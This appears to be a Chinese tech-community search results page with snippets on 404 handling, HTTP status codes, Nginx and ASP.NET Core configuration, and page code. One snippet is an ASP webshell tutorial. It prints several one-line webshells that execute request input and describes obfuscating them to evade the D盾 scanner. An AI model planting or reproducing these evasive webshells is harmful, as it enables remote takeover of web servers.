首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

详解ASP.NET Core 处理 404 Not Found

解决方案 在以前的ASP.NET MVC版本中,主要在 web.config 中处理404错误的。...您可能记得在 <customErrors 节点中配置ASP.NET管道处理404错误,以及在低版本的IIS中通过 <httpErrors 节点处理 404错误。好像有点混乱。...在这里,我们知道用户正在查看产品,而不是返回通用错误,我们可以更友好的页面,返回自定义未找到产品的的页面。这仍然需要返回404状态代码,但是使用不通用的页面,同时也可以向用户显示类似或受欢迎的产品。...当从内部中间件组件返回错误代码(如404)时,UseStatusCodePagesWithReExecute允许您执行另一个控制器Action来处理状态代码。...一般来说,这两种技术是在ASP.NET Core中处理非成功HTTP状态代码的首选方法。

1.9K20
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    网络请求返回HTTP状态码(404,400,500)

    HTTP状态码(HTTP Status Code) 一些常见的状态码为: 200 - 服务器成功返回网页 404 - 请求的网页不存在 503 - 服务不可用 所有状态解释: 1xx(临时响应) 表示临时响应并需要请求者继续执行操作的状态代码...代码 说明 100 (继续) 请求者应当继续提出请求。 服务器返回代码表示已收到请求的第一部分,正在等待其余部分。 101 (切换协议) 请求者已要求服务器切换协议,服务器已确认并准备切换。...303 (查看其他位置) 请求者应当对不同的位置使用单独的 GET 请求来检索响应时,服务器返回代码。 304 (未修改) 自从上次请求后,请求的网页未修改过。...对于需要登录的网页,服务器可能返回此响应。 403 (禁止) 服务器拒绝请求。 404 (未找到) 服务器找不到请求的网页。 405 (方法禁用) 禁用请求中指定的方法。...416 (请求范围不符合要求) 如果页面无法提供请求的范围,则服务器会返回此状态代码。 417 (未满足期望值) 服务器未满足"期望"请求标头字段的要求。

    14.8K60

    解决网站404页面返回200状态码问题

    还以为 WordPress 更新后改了这个机制呢,把主题下的 404.php 加了一个强行的 404 返回码,发现没有任何效果。 最后发现,居然是自己以前把 404 页面静态化留下的坑!...原因很简单,当时经常有人攻击一些不存在的页面,也就是每次都是动态的 404,服务器自然就容易高负载,因此做了一个静态化处理: 通过 curl 请求一个不存在的地址,触发 404 返回内容,然后保存在网站的某个目录下...下新增 404 响应规则: error_page 404=/xxxx/404.html; 重启 Nginx 之后,再访问不存在的博客页面的时候,Nginx 就直接返回 404.html 的内容了,从而实现...但是,Nginx 这里我写错了,导致每次返回 404.html 都是 200 返回码!!这样其实会误导搜索引擎的判断,以为页面是存在的。。。。大坑。...修改后,重启 Nginx,然后访问不存在的地址发现已经是 404 返回码了,问题解决!

    3.3K30

    404 html代码,不懂代码,如何制作漂亮的404页面【新手简易教程】

    404是用户在访问页面时,搜索引擎常返回的状态码,常见的还有200,301,302,500等。搜索引擎通过http状态码识别网页状态,404状态码,常指所访问的页面不存在或已被删除。...②404页面没有返回网站的链接 比如某多多的404页面,只有404 Not Found,没有任何返回网站的链接。...对搜索引擎友好的页面,需要有返回网站的链接,可以是首页、栏目页、活动页,也可以网站的导航栏。 ③404页面使用了强制跳转 某品会的404页面使用了强制跳转,跳转到首页。...综上所述,优秀的404页面应该具备如下条件: ①必须有返回链接; ②不建议使用跳转代码,尤其是强制跳转; ③符合目标群体的趣味性。 王者荣耀网站的404页面设置很暖心,看到后,想重新回归了。...如果没有程序员的支持,你是新手小白不懂代码,也没关系,下面【新手简易教程】正式开始,教你如何制作漂亮的404页面。 第一步:选取你喜欢的404页面,右键查看源代码,全选复制。

    3.7K20

    asp的webshell也灵活起来丨404安全

    0x00 前言 现在asp不多但是还是有,还是写一篇文章来简单的介绍下asp的免杀吧,相对于php我们的asp还是不够灵活。...0x01 目录 数组 函数 加密 注释符 类 字符串操作 0x02 了解asp一句话 ASP解释器还有:VBScript ASP的注释符号 : ' 和 REM 当然如果你使用vbscript解释器 注释还有...<% dim a(5) a(0)=request("404") eXecUTe(a(0)) %> 简单的数组定义D盾就不认识了,为什么我会想到用数组来绕过,因为我发现函数调用的时候D盾不敏感,包括asp...--     a = request("404")     execute(a) --> %> 0x07 类 在php中我们使用类可以很轻松的绕过,但是asp使用类现在d盾看的很紧,首先写个最简单的类。...<% a = request("404") b = Left(UCase(a)&"",99999) execute(b) %> 0x09 总结 虽然asp不是很灵活,但是通过探索还是能发现不少姿势,还是那句话多学多练

    1.6K20

    asp dotnet core 3.0 接口返回 json 使用 PascalCase 格式

    asp dotnet core 3.0 默认的 webapi 返回接口都是返回 json 格式,同时这个 json 格式使用的是 CamelCase 属性名风格。...如果想要兼容之前的格式,让 webapi 返回的 json 的属性名使用 PascalCase 格式,那么请看本文 默认的 ASP.NET Core 3.0 的 WebAPI 的 json 返回值的属性使用首字符小写的...CamelCase 属性名风格,可以通过在 ConfigureServices 方法配置让返回值属性使用其他风格 最简单的方法是设置 PropertyNamingPolicy 属性,请看代码...new DefaultContractResolver() { NamingStrategy = new DefaultNamingStrategy() }); } 这样默认的 json 返回值属性使用首字符大写的...options.SerializerSettings.ContractResolver = new DefaultContractResolver()); Migrate from ASP.NET

    3K20

    页面返回顶部代码_网页回到顶部代码

    网站添加返回顶部有好几种,下面我简单介绍下: 1 使用文字添加方法最简单的是:最简单的“返回顶部”代码就是“返回顶部”(不包括引号...),(0,0)代表座标,第一位是水平,第二位是垂直,(0,0)就表示网页左上角,文字部分(返回顶部)可以自由替换成自己需要的内容,比如也可以用“TOP”都可以。...这里就是简单返回顶部的代码, 这里的 只是改成了返回游戏首页~! 2。第二种复杂点 HTML 结构 我使用了 a 标签作为这个结构,可能不太标准,但是比较方便。...jQuery 代码 具体的 jQuery 代码如下,解析已经写在注释里面了: $(function(){ $(window).scroll(function(){ //只要窗口滚动,就触发下面代码...3种,就是也很简单了,现在都有很多网站用的插件:友荐,自带返回顶部 的JS 你只要是网站的拥有者,到上面去申请个号,复制它的代码,这我就不写了。很短的一段代码,复复制进自己的文章内容页:就可以了。

    3.1K40

    【Python】函数 ③ ( 函数返回值定义语法 | 函数返回多个返回值 | 代码示例 )

    一、函数返回值定义语法 在 Python 函数中 , 通过 return 关键字 , 可以返回一个结果给调用者 , 这个返回结果就是 函数返回值 ; def 函数名(函数参数): """函数文档字符串...(可选)""" # 函数体 return 返回值 调用函数时 , 使用 变量 可以接收函数返回值 ; 变量 = 函数(参数列表) 在函数中 , 如果遇到 return 关键字 , 则不会执行后续函数体中的代码..., 在编译时如果发现 函数体中 在 return 语句后有代码 , 会报错提示 ; Statement expected, found Py:DEDENT 二、函数返回多个返回值 如果函数返回多个值..., 可以使用元组(tuple)或者列表(list)存储返回值 , 并将其赋值给一个变量 , 下面的代码 , 就是在函数中 , 返回了两个值 , """ 函数返回值示例 """ # 定义返回多个返回值的函数...(1, 2) 执行结果 : (1, 2) 三、函数返回代码示例 ---- 在下面的代码中 , 返回了一个返回值 , 使用 sum 变量接收了这个返回值 , 最终将返回值打印出来 ; 代码示例 :

    53420
    领券